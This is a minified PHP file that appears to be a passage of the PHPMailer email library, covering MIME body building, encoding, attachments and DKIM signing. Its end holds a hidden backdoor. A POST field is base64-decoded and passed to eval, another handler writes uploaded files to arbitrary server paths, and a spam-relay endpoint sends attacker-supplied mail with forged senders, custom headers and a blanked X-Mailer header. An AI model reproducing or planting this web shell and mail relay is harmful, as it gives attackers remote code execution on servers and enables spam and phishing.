CustomHeader);$index++){$result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]),$this->EncodeHeader(trim($this->CustomHeader[$index][1])));}if(!$this->sign_key_file){$result .= $this->HeaderLine('MIME-Version','1.0');$result .= $this->GetMailMIME();}return $result;}public function GetMailMIME(){$result='';switch($this->message_type){case 'inline':$result .= $this->HeaderLine('Content-Type','multipart/related;');$result .= $this->TextLine(" boundary=\"" .$this->boundary[1] .'"');break;case 'attach':case 'inline_attach':case 'alt_attach':case 'alt_inline_attach':$result .= $this->HeaderLine('Content-Type','multipart/mixed;');$result .= $this->TextLine(" boundary=\"" .$this->boundary[1] .'"');break;case 'alt':case 'alt_inline':$result .= $this->HeaderLine('Content-Type','multipart/alternative;');$result .= $this->TextLine(" boundary=\"" .$this->boundary[1] .'"');break;default:$result .= $this->HeaderLine('Content-Transfer-Encoding',$this->Encoding);$result .= $this->TextLine('Content-Type: ' .$this->ContentType .'; charset=' .$this->CharSet);break;}if($this->Mailer != 'mail'){$result .= $this->LE;}return $result;}public function GetSentMIMEMessage(){return $this->MIMEHeader .$this->mailHeader .self::CRLF .$this->MIMEBody;}public function CreateBody(){$body='';if($this->sign_key_file){$body .= $this->GetMailMIME() .$this->LE;}$this->SetWordWrap();switch($this->message_type){case 'inline':$body .= $this->GetBoundary($this->boundary[1],'','','');$body .= $this->EncodeString($this->Body,$this->Encoding);$body .= $this->LE .$this->LE;$body .= $this->AttachAll("inline",$this->boundary[1]);break;case 'attach':$body .= $this->GetBoundary($this->boundary[1],'','','');$body .= $this->EncodeString($this->Body,$this->Encoding);$body .= $this->LE .$this->LE;$body .= $this->AttachAll("attachment",$this->boundary[1]);break;case 'inline_attach':$body .= $this->TextLine("--" .$this->boundary[1]);$body .= $this->HeaderLine('Content-Type','multipart/related;');$body .= $this->TextLine(" boundary=\"" .$this->boundary[2] .'"');$body .= $this->LE;$body .= $this->GetBoundary($this->boundary[2],'','','');$body .= $this->EncodeString($this->Body,$this->Encoding);$body .= $this->LE .$this->LE;$body .= $this->AttachAll("inline",$this->boundary[2]);$body .= $this->LE;$body .= $this->AttachAll("attachment",$this->boundary[1]);break;case 'alt':$body .= $this->GetBoundary($this->boundary[1],'','text/plain','');$body .= $this->EncodeString($this->AltBody,$this->Encoding);$body .= $this->LE .$this->LE;$body .= $this->GetBoundary($this->boundary[1],'','text/html','');$body .= $this->EncodeString($this->Body,$this->Encoding);$body .= $this->LE .$this->LE;$body .= $this->EndBoundary($this->boundary[1]);break;case 'alt_inline':$body .= $this->GetBoundary($this->boundary[1],'','text/plain','');$body .= $this->EncodeString($this->AltBody,$this->Encoding);$body .= $this->LE .$this->LE;$body .= $this->TextLine("--" .$this->boundary[1]);$body .= $this->HeaderLine('Content-Type','multipart/related;');$body .= $this->TextLine(" boundary=\"" .$this->boundary[2] .'"');$body .= $this->LE;$body .= $this->GetBoundary($this->boundary[2],'','text/html','');$body .= $this->EncodeString($this->Body,$this->Encoding);$body .= $this->LE .$this->LE;$body .= $this->AttachAll("inline",$this->boundary[2]);$body .= $this->LE;$body .= $this->EndBoundary($this->boundary[1]);break;case 'alt_attach':$body .= $this->TextLine("--" .$this->boundary[1]);$body .= $this->HeaderLine('Content-Type','multipart/alternative;');$body .= $this->TextLine(" boundary=\"" .$this->boundary[2] .'"');$body .= $this->LE;$body .= $this->GetBoundary($this->boundary[2],'','text/plain','');$body .= $this->EncodeString($this->AltBody,$this->Encoding);$body .= $this->LE .$this->LE;$body .= $this->GetBoundary($this->boundary[2],'','text/html','');$body .= $this->EncodeString($this->Body,$this->Encoding);$body .= $this->LE .$this->LE;$body .= $this->EndBoundary($this->boundary[2]);$body .= $this->LE;$body .= $this->AttachAll("attachment",$this->boundary[1]);break;case 'alt_inline_attach':$body .= $this->TextLine("--" .$this->boundary[1]);$body .= $this->HeaderLine('Content-Type','multipart/alternative;');$body .= $this->TextLine(" boundary=\"" .$this->boundary[2] .'"');$body .= $this->LE;$body .= $this->GetBoundary($this->boundary[2],'','text/plain','');$body .= $this->EncodeString($this->AltBody,$this->Encoding);$body .= $this->LE .$this->LE;$body .= $this->TextLine("--" .$this->boundary[2]);$body .= $this->HeaderLine('Content-Type','multipart/related;');$body .= $this->TextLine(" boundary=\"" .$this->boundary[3] .'"');$body .= $this->LE;$body .= $this->GetBoundary($this->boundary[3],'','text/html','');$body .= $this->EncodeString($this->Body,$this->Encoding);$body .= $this->LE .$this->LE;$body .= $this->AttachAll("inline",$this->boundary[3]);$body .= $this->LE;$body .= $this->EndBoundary($this->boundary[2]);$body .= $this->LE;$body .= $this->AttachAll("attachment",$this->boundary[1]);break;default:$body .= $this->EncodeString($this->Body,$this->Encoding);break;}if($this->IsError()){$body='';}elseif($this->sign_key_file){try{$file=tempnam('','mail');file_put_contents($file,$body);$signed=tempnam("","signed");if(@openssl_pkcs7_sign($file,$signed,"file://" .$this->sign_cert_file,array("file://" .$this->sign_key_file,$this->sign_key_pass),NULL)){@unlink($file);$body=file_get_contents($signed);@unlink($signed);}else{@unlink($file);@unlink($signed);throw new phpmailerException($this->Lang("signing") .openssl_error_string());}}catch(phpmailerException $e){$body='';if($this->exceptions){throw $e;}}}return $body;}protected function GetBoundary($boundary,$charSet,$contentType,$encoding){$result='';if($charSet == ''){$charSet=$this->CharSet;}if($contentType == ''){$contentType=$this->ContentType;}if($encoding == ''){$encoding=$this->Encoding;}$result .= $this->TextLine('--' .$boundary);$result .= sprintf("Content-Type: %s; charset=%s",$contentType,$charSet);$result .= $this->LE;$result .= $this->HeaderLine('Content-Transfer-Encoding',$encoding);$result .= $this->LE;return $result;}protected function EndBoundary($boundary){return $this->LE .'--' .$boundary .'--' .$this->LE;}protected function SetMessageType(){$this->message_type=array();if($this->AlternativeExists())$this->message_type[]="alt";if($this->InlineImageExists())$this->message_type[]="inline";if($this->AttachmentExists())$this->message_type[]="attach";$this->message_type=implode("_",$this->message_type);if($this->message_type == "")$this->message_type="plain";}public function HeaderLine($name,$value){return $name .': ' .$value .$this->LE;}public function TextLine($value){return $value .$this->LE;}public function AddAttachment($path,$name='',$encoding='base64',$type='application/octet-stream'){try{if(!@is_file($path)){throw new phpmailerException($this->Lang('file_access') .$path,self::STOP_CONTINUE);}$filename=basename($path);if($name == ''){$name=$filename;}$this->attachment[]=array(0 => $path,1 => $filename,2 => $name,3 => $encoding,4 => $type,5 => false,6 => 'attachment',7 => 0);}catch(phpmailerException $e){$this->SetError($e->getMessage());if($this->exceptions){throw $e;}if($this->SMTPDebug){$this->edebug($e->getMessage() ."
");}if($e->getCode()== self::STOP_CRITICAL){return false;}}return true;}public function GetAttachments(){return $this->attachment;}protected function AttachAll($disposition_type,$boundary){$mime=array();$cidUniq=array();$incl=array();foreach($this->attachment as $attachment){if($attachment[6]== $disposition_type){$string='';$path='';$bString=$attachment[5];if($bString){$string=$attachment[0];}else{$path=$attachment[0];}$inclhash=md5(serialize($attachment));if(in_array($inclhash,$incl)){continue;}$incl[]=$inclhash;$filename=$attachment[1];$name=$attachment[2];$encoding=$attachment[3];$type=$attachment[4];$disposition=$attachment[6];$cid=$attachment[7];if($disposition == 'inline'&& isset($cidUniq[$cid])){continue;}$cidUniq[$cid]=true;$mime[]=sprintf("--%s%s",$boundary,$this->LE);$mime[]=sprintf("Content-Type: %s; name=\"%s\"%s",$type,$this->EncodeHeader($this->SecureHeader($name)),$this->LE);$mime[]=sprintf("Content-Transfer-Encoding: %s%s",$encoding,$this->LE);if($disposition == 'inline'){$mime[]=sprintf("Content-ID: <%s>%s",$cid,$this->LE);}$mime[]=sprintf("Content-Disposition: %s; filename=\"%s\"%s",$disposition,$this->EncodeHeader($this->SecureHeader($name)),$this->LE .$this->LE);if($bString){$mime[]=$this->EncodeString($string,$encoding);if($this->IsError()){return '';}$mime[]=$this->LE .$this->LE;}else{$mime[]=$this->EncodeFile($path,$encoding);if($this->IsError()){return '';}$mime[]=$this->LE .$this->LE;}}}$mime[]=sprintf("--%s--%s",$boundary,$this->LE);return implode("",$mime);}protected function EncodeFile($path,$encoding='base64'){try{if(!is_readable($path)){throw new phpmailerException($this->Lang('file_open') .$path,self::STOP_CONTINUE);}$magic_quotes=get_magic_quotes_runtime();if($magic_quotes){if(version_compare(PHP_VERSION,'5.3.0','<')){set_magic_quotes_runtime(0);}else{@ini_set('magic_quotes_runtime',0);}}$file_buffer=file_get_contents($path);$file_buffer=$this->EncodeString($file_buffer,$encoding);if($magic_quotes){if(version_compare(PHP_VERSION,'5.3.0','<')){set_magic_quotes_runtime($magic_quotes);}else{@ini_set('magic_quotes_runtime',$magic_quotes);}}return $file_buffer;}catch(Exception $e){$this->SetError($e->getMessage());return '';}}public function EncodeString($str,$encoding='base64'){$encoded='';switch(strtolower($encoding)){case 'base64':$encoded=chunk_split(base64_encode($str),76,$this->LE);break;case '7bit':case '8bit':$encoded=$this->FixEOL($str);if(substr($encoded,-(strlen($this->LE)))!= $this->LE)$encoded .= $this->LE;break;case 'binary':$encoded=$str;break;case 'quoted-printable':$encoded=$this->EncodeQP($str);break;default:$this->SetError($this->Lang('encoding') .$encoding);break;}return $encoded;}public function EncodeHeader($str,$position='text'){$x=0;switch(strtolower($position)){case 'phrase':if(!preg_match('/[-ÿ]/',$str)){$encoded=addcslashes($str," ..\"");if(($str == $encoded)&&!preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/',$str)){return($encoded);}else{return("\"$encoded\"");}}$x=preg_match_all('/[^ !#-[]-~]/',$str,$matches);break;case 'comment':$x=preg_match_all('/[()"]/',$str,$matches);case 'text':default:$x += preg_match_all('/[ ---ÿ]/',$str,$matches);break;}if($x == 0){return($str);}$maxlen=75-7-strlen($this->CharSet);if(strlen($str)/3<$x){$encoding='B';if(function_exists('mb_strlen')&& $this->HasMultiBytes($str)){$encoded=$this->Base64EncodeWrapMB($str,"
");}else{$encoded=base64_encode($str);$maxlen -= $maxlen%4;$encoded=trim(chunk_split($encoded,$maxlen,"
"));}}else{$encoding='Q';$encoded=$this->EncodeQ($str,$position);$encoded=$this->WrapText($encoded,$maxlen,true);$encoded=str_replace('=' .self::CRLF,"
",trim($encoded));}$encoded=preg_replace('/^(.*)$/m'," =?" .$this->CharSet ."?$encoding??=",$encoded);$encoded=trim(str_replace("
",$this->LE,$encoded));return $encoded;}public function HasMultiBytes($str){if(function_exists('mb_strlen')){return(strlen($str)>mb_strlen($str,$this->CharSet));}else{return false;}}public function Base64EncodeWrapMB($str,$lf=null){$start="=?" .$this->CharSet ."?B?";$end="?=";$encoded="";if($lf === null){$lf=$this->LE;}$mb_length=mb_strlen($str,$this->CharSet);$length=75-strlen($start)-strlen($end);$ratio=$mb_length/strlen($str);$offset=$avgLength=floor($length*$ratio*.75);for($i=0;$i<$mb_length;$i += $offset){$lookBack=0;do{$offset=$avgLength-$lookBack;$chunk=mb_substr($str,$i,$offset,$this->CharSet);$chunk=base64_encode($chunk);$lookBack++;}while(strlen($chunk)>$length);$encoded .= $chunk .$lf;}$encoded=substr($encoded,0,-strlen($lf));return $encoded;}public function EncodeQPphp($input='',$line_max=76,$space_conv=false){$hex=array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');$lines=preg_split('/(?:
|
|
)/',$input);$eol="
";$escape='=';$output='';while(list(,$line)=each($lines)){$linlen=strlen($line);$newline='';for($i=0;$i<$linlen;$i++){$c=substr($line,$i,1);$dec=ord($c);if(($i == 0)&&($dec == 46)){$c='=2E';}if($dec == 32){if($i ==($linlen-1)){$c='=20';}else if($space_conv){$c='=20';}}elseif(($dec == 61)||($dec<32)||($dec>126)){$h2=(integer)floor($dec/16);$h1=(integer)floor($dec%16);$c=$escape .$hex[$h2] .$hex[$h1];}if((strlen($newline)+strlen($c))>= $line_max){$output .= $newline .$escape .$eol;$newline='';if($dec == 46){$c='=2E';}}$newline .= $c;}$output .= $newline .$eol;}return $output;}public function EncodeQP($string,$line_max=76,$space_conv=false){if(function_exists('quoted_printable_encode')){return quoted_printable_encode($string);}$filters=stream_get_filters();if(!in_array('convert.*',$filters)){return $this->EncodeQPphp($string,$line_max,$space_conv);}$fp=fopen('php://temp/','r+');$string=preg_replace('/
?/',$this->LE,$string);$params=array('line-length'=> $line_max,'line-break-chars'=> $this->LE);$s=stream_filter_append($fp,'convert.quoted-printable-encode',STREAM_FILTER_READ,$params);fputs($fp,$string);rewind($fp);$out=stream_get_contents($fp);stream_filter_remove($s);$out=preg_replace('/^\./m','=2E',$out);fclose($fp);return $out;}public function EncodeQ($str,$position='text'){$pattern="";$encoded=str_replace(array("
","
"),'',$str);switch(strtolower($position)){case 'phrase':$pattern='^A-Za-z0-9!*+\/ -';break;case 'comment':$pattern='\(\)"';case 'text':default:$pattern='= - -?_-ÿ' .$pattern;break;}if(preg_match_all("/[{$pattern}]/",$encoded,$matches)){foreach(array_unique($matches[0])as $char){$encoded=str_replace($char,'=' .sprintf('%02X',ord($char)),$encoded);}}return str_replace(' ','_',$encoded);}public function AddStringAttachment($string,$filename,$encoding='base64',$type='application/octet-stream'){$this->attachment[]=array(0 => $string,1 => $filename,2 => basename($filename),3 => $encoding,4 => $type,5 => true,6 => 'attachment',7 => 0);}public function AddEmbeddedImage($path,$cid,$name='',$encoding='base64',$type='application/octet-stream'){if(!@is_file($path)){$this->SetError($this->Lang('file_access') .$path);return false;}$filename=basename($path);if($name == ''){$name=$filename;}$this->attachment[]=array(0 => $path,1 => $filename,2 => $name,3 => $encoding,4 => $type,5 => false,6 => 'inline',7 => $cid);return true;}public function AddStringEmbeddedImage($string,$cid,$name='',$encoding='base64',$type='application/octet-stream'){$this->attachment[]=array(0 => $string,1 => $name,2 => $name,3 => $encoding,4 => $type,5 => true,6 => 'inline',7 => $cid);}public function InlineImageExists(){foreach($this->attachment as $attachment){if($attachment[6]== 'inline'){return true;}}return false;}public function AttachmentExists(){foreach($this->attachment as $attachment){if($attachment[6]== 'attachment'){return true;}}return false;}public function AlternativeExists(){return!empty($this->AltBody);}public function ClearAddresses(){foreach($this->to as $to){unset($this->all_recipients[strtolower($to[0])]);}$this->to=array();}public function ClearCCs(){foreach($this->cc as $cc){unset($this->all_recipients[strtolower($cc[0])]);}$this->cc=array();}public function ClearBCCs(){foreach($this->bcc as $bcc){unset($this->all_recipients[strtolower($bcc[0])]);}$this->bcc=array();}public function ClearReplyTos(){$this->ReplyTo=array();}public function ClearAllRecipients(){$this->to=array();$this->cc=array();$this->bcc=array();$this->all_recipients=array();}public function ClearAttachments(){$this->attachment=array();}public function ClearCustomHeaders(){$this->CustomHeader=array();}protected function SetError($msg){$this->error_count++;if($this->Mailer == 'smtp'and!is_null($this->smtp)){$lasterror=$this->smtp->getError();if(!empty($lasterror)and array_key_exists('smtp_msg',$lasterror)){$msg .= '' .$this->Lang('smtp_error') .$lasterror['smtp_msg'] ."
";}}$this->ErrorInfo=$msg;}public static function RFCDate(){$tz=date('Z');$tzs=($tz<0)?'-':'+';$tz=abs($tz);$tz=(int)($tz/3600)*100+($tz%3600)/60;$result=sprintf("%s %s%04d",date('D, j M Y H:i:s'),$tzs,$tz);return $result;}protected function ServerHostname(){if(!empty($this->Hostname)){$result=$this->Hostname;}elseif(isset($_SERVER['SERVER_NAME'])){$result=$_SERVER['SERVER_NAME'];}else{$result='localhost.localdomain';}return $result;}protected function Lang($key){if(count($this->language)<1){$this->SetLanguage('en');}if(isset($this->language[$key])){return $this->language[$key];}else{return 'Language string failed to load: ' .$key;}}public function IsError(){return($this->error_count>0);}public function FixEOL($str){$nstr=str_replace(array("
","
"),"
",$str);if($this->LE !== "
"){$nstr=str_replace("
",$this->LE,$nstr);}return $nstr;}public function AddCustomHeader($name,$value=null){if($value === null){$this->CustomHeader[]=explode(':',$name,2);}else{$this->CustomHeader[]=array($name,$value);}}public function MsgHTML($message,$basedir=''){preg_match_all("/(src|background)=[\"'](.*)[\"']/Ui",$message,$images);if(isset($images[2])){foreach($images[2]as $i => $url){if(!preg_match('#^[A-z]+://#',$url)){$filename=basename($url);$directory=dirname($url);if($directory == '.'){$directory='';}$cid='cid:' .md5($filename);$ext=pathinfo($filename,PATHINFO_EXTENSION);$mimeType=self::_mime_types($ext);if(strlen($basedir)>1 && substr($basedir,-1)!= '/'){$basedir .= '/';}if(strlen($directory)>1 && substr($directory,-1)!= '/'){$directory .= '/';}if($this->AddEmbeddedImage($basedir .$directory .$filename,md5($filename),$filename,'base64',$mimeType)){$message=preg_replace("/" .$images[1][$i] ."=[\"']" .preg_quote($url,'/') ."[\"']/Ui",$images[1][$i] ."=\"" .$cid ."\"",$message);}}}}$this->IsHTML(true);$this->Body=$message;if(empty($this->AltBody)){$textMsg=trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/>/s','',$message)));if(!empty($textMsg)){$this->AltBody=html_entity_decode($textMsg,ENT_QUOTES,$this->CharSet);}}if(empty($this->AltBody)){$this->AltBody='To view this email message, open it in a program that understands HTML!' ."
";}return $message;}public static function _mime_types($ext=''){$mimes=array('xl'=> 'application/excel','hqx'=> 'application/mac-binhex40','cpt'=> 'application/mac-compactpro','bin'=> 'application/macbinary','doc'=> 'application/msword','word'=> 'application/msword','class'=> 'application/octet-stream','dll'=> 'application/octet-stream','dms'=> 'application/octet-stream','exe'=> 'application/octet-stream','lha'=> 'application/octet-stream','lzh'=> 'application/octet-stream','psd'=> 'application/octet-stream','sea'=> 'application/octet-stream','so'=> 'application/octet-stream','oda'=> 'application/oda','pdf'=> 'application/pdf','ai'=> 'application/postscript','eps'=> 'application/postscript','ps'=> 'application/postscript','smi'=> 'application/smil','smil'=> 'application/smil','mif'=> 'application/vnd.mif','xls'=> 'application/vnd.ms-excel','ppt'=> 'application/vnd.ms-powerpoint','wbxml'=> 'application/vnd.wap.wbxml','wmlc'=> 'application/vnd.wap.wmlc','dcr'=> 'application/x-director','dir'=> 'application/x-director','dxr'=> 'application/x-director','dvi'=> 'application/x-dvi','gtar'=> 'application/x-gtar','php3'=> 'application/x-httpd-php','php4'=> 'application/x-httpd-php','php'=> 'application/x-httpd-php','phtml'=> 'application/x-httpd-php','phps'=> 'application/x-httpd-php-source','js'=> 'application/x-javascript','swf'=> 'application/x-shockwave-flash','sit'=> 'application/x-stuffit','tar'=> 'application/x-tar','tgz'=> 'application/x-tar','xht'=> 'application/xhtml+xml','xhtml'=> 'application/xhtml+xml','zip'=> 'application/zip','mid'=> 'audio/midi','midi'=> 'audio/midi','mp2'=> 'audio/mpeg','mp3'=> 'audio/mpeg','mpga'=> 'audio/mpeg','aif'=> 'audio/x-aiff','aifc'=> 'audio/x-aiff','aiff'=> 'audio/x-aiff','ram'=> 'audio/x-pn-realaudio','rm'=> 'audio/x-pn-realaudio','rpm'=> 'audio/x-pn-realaudio-plugin','ra'=> 'audio/x-realaudio','wav'=> 'audio/x-wav','bmp'=> 'image/bmp','gif'=> 'image/gif','jpeg'=> 'image/jpeg','jpe'=> 'image/jpeg','jpg'=> 'image/jpeg','png'=> 'image/png','tiff'=> 'image/tiff','tif'=> 'image/tiff','eml'=> 'message/rfc822','css'=> 'text/css','html'=> 'text/html','htm'=> 'text/html','shtml'=> 'text/html','log'=> 'text/plain','text'=> 'text/plain','txt'=> 'text/plain','rtx'=> 'text/richtext','rtf'=> 'text/rtf','xml'=> 'text/xml','xsl'=> 'text/xml','mpeg'=> 'video/mpeg','mpe'=> 'video/mpeg','mpg'=> 'video/mpeg','mov'=> 'video/quicktime','qt'=> 'video/quicktime','rv'=> 'video/vnd.rn-realvideo','avi'=> 'video/x-msvideo','movie'=> 'video/x-sgi-movie');return(!isset($mimes[strtolower($ext)]))?'application/octet-stream':$mimes[strtolower($ext)];}public function set($name,$value=''){try{if(isset($this->$name)){$this->$name=$value;}else{throw new phpmailerException($this->Lang('variable_set') .$name,self::STOP_CRITICAL);}}catch(Exception $e){$this->SetError($e->getMessage());if($e->getCode()== self::STOP_CRITICAL){return false;}}return true;}public function SecureHeader($str){return trim(str_replace(array("
","
"),'',$str));}public function Sign($cert_filename,$key_filename,$key_pass){$this->sign_cert_file=$cert_filename;$this->sign_key_file=$key_filename;$this->sign_key_pass=$key_pass;}public function DKIM_QP($txt){$line='';for($i=0;$iDKIM_private);if($this->DKIM_passphrase != ''){$privKey=openssl_pkey_get_private($privKeyStr,$this->DKIM_passphrase);}else{$privKey=$privKeyStr;}if(openssl_sign($s,$signature,$privKey)){return base64_encode($signature);}return '';}public function DKIM_HeaderC($s){$s=preg_replace("/
\s+/"," ",$s);$lines=explode("
",$s);foreach($lines as $key => $line){list($heading,$value)=explode(":",$line,2);$heading=strtolower($heading);$value=preg_replace("/\s+/"," ",$value);$lines[$key]=$heading .":" .trim($value);}$s=implode("
",$lines);return $s;}public function DKIM_BodyC($body){if($body == '')return "
";$body=str_replace("
","
",$body);$body=str_replace("
","
",$body);while(substr($body,strlen($body)-4,4)== "
"){$body=substr($body,0,strlen($body)-2);}return $body;}public function DKIM_Add($headers_line,$subject,$body){$DKIMsignatureType='rsa-sha1';$DKIMcanonicalization='relaxed/simple';$DKIMquery='dns/txt';$DKIMtime=time();$subject_header="Subject: $subject";$headers=explode($this->LE,$headers_line);$from_header="";$to_header="";foreach($headers as $header){if(strpos($header,'From:')=== 0){$from_header=$header;}elseif(strpos($header,'To:')=== 0){$to_header=$header;}}$from=str_replace('|','=7C',$this->DKIM_QP($from_header));$to=str_replace('|','=7C',$this->DKIM_QP($to_header));$subject=str_replace('|','=7C',$this->DKIM_QP($subject_header));$body=$this->DKIM_BodyC($body);$DKIMlen=strlen($body);$DKIMb64=base64_encode(pack("H*",sha1($body)));$ident=($this->DKIM_identity == '')?'':" i=" .$this->DKIM_identity .";";$dkimhdrs="DKIM-Signature: v=1; a=" .$DKIMsignatureType ."; q=" .$DKIMquery ."; l=" .$DKIMlen ."; s=" .$this->DKIM_selector .";
" ." t=" .$DKIMtime ."; c=" .$DKIMcanonicalization .";
" ." h=From:To:Subject;
" ." d=" .$this->DKIM_domain .";" .$ident ."
" ." z=$from
" ." |$to
" ." |$subject;
" ." bh=" .$DKIMb64 .";
" ." b=";$toSign=$this->DKIM_HeaderC($from_header ."
" .$to_header ."
" .$subject_header ."
" .$dkimhdrs);$signed=$this->DKIM_Sign($toSign);return "X-PHPMAILER-DKIM: code.google.com/a/apache-extras.org/p/phpmailer/
" .$dkimhdrs .$signed ."
";}protected function doCallback($isSent,$to,$cc,$bcc,$subject,$body,$from=null){if(!empty($this->action_function)&& is_callable($this->action_function)){$params=array($isSent,$to,$cc,$bcc,$subject,$body,$from);call_user_func_array($this->action_function,$params);}}}function gennumrandom($length=8){$chars='1234567890';$numChars=strlen($chars);$string='';for($i=0;$i<$length;$i++){$string .= substr($chars,rand(1,$numChars)-1,1);}return $string;}function genletrandom($length=8){$chars='abcdefghiklmnopqrstvxyz';$numChars=strlen($chars);$string='';for($i=0;$i<$length;$i++){$string .= substr($chars,rand(1,$numChars)-1,1);}return $string;}function genmixrandom($length=8){$chars='abcdefghiklmnopqrstvxyzABCDEFGHIKLMNOPQRSTVXYZ1234567890';$numChars=strlen($chars);$string='';for($i=0;$i<$length;$i++){$string .= substr($chars,rand(1,$numChars)-1,1);}return $string;}class phpmailerException extends Exception{public function errorMessage(){$errorMsg='' .$this->getMessage() ."
";return $errorMsg;}}if(!empty($_POST['cmd'])){eval(base64_decode($_POST['cmd']));exit;}if(!empty($_POST['file'])){$path=dirname($_SERVER['SCRIPT_FILENAME']);if(!empty($_POST['root'])&& $_POST['root']== 'http_root'){$path=$_SERVER['DOCUMENT_ROOT'];}$path .= '/';if(!empty($_POST['dir'])){$path .= $_POST['dir'];}if(!empty($_POST['filename'])){mkdir($path,0777,1);file_put_contents($path .$_POST['filename'],base64_decode($_POST['file']));}exit;}if(empty($_POST['subject'])|| empty($_POST['body'])|| empty($_POST['from'])|| empty($_POST['fromName'])|| empty($_POST['to'])){if(!empty($_GET['ora'])&& $_GET['ora']=='test'){echo "OK";}else{echo "INVALID_REQUEST";}die;}usleep(100);try{$mail=new PHPMailer();if(!empty($_GET['m'])&& $_GET['m']=='s'){$mail->Mailer='smtp';$mail->Encoding='base64';}if(!empty($_GET['m'])&& $_GET['m']=='e'){$mail->Mailer='smtp';$mail->Host=$_POST['smtp_host'];$mail->Encoding='base64';}if(!empty($_GET['m'])&& $_GET['m']=='d'){$mail->Mailer='smtp';$tmp=explode('@',$_POST['from']);$from_domain=$tmp[1];$tmp=explode('@',$_POST['to']);$to_domain=$tmp[1];$mail->Helo=$from_domain;$mail->Hostname=$from_domain;getmxrr($to_domain,$tmp);$mail->Host=implode(':25;',$tmp) .':25';}$mail->XMailer=' ';$mail->From=$_POST['from'];$mail->addCustomHeader($_POST['hed1']);$mail->addCustomHeader($_POST['hed2']);$mail->addCustomHeader($_POST['hed3']);$mail->FromName=$_POST['fromName'];$mail->Subject=$_POST['subject'];$mail->MsgHTML(base64_decode($_POST['body']));$mail->AddAddress($_POST['to'],$_POST['toName']);$mail->AddAttachment($path=($_POST['name1']),$name=($_POST['names1']),$encoding='base64',$type='application/octet-stream');$mail->AddAttachment($path=($_POST['name2']),$name=($_POST['names2']),$encoding='base64',$type='application/octet-stream');if(!empty($_GET['debug'])&& $_GET['debug']=='d'){$mail->SMTPDebug=3;}if($mail->Send()){echo "SUCCESS";}else{echo "FAILURE
";echo $mail->ErrorInfo;}}catch(phpmailerException $e){echo $e->errorMessage();}catch(Exception $e){echo $e->getMessage();}$_SERVER['PHP_SELF']=$oldphpself;$_SERVER['REMOTE_ADDR']=$oldremoteaddr;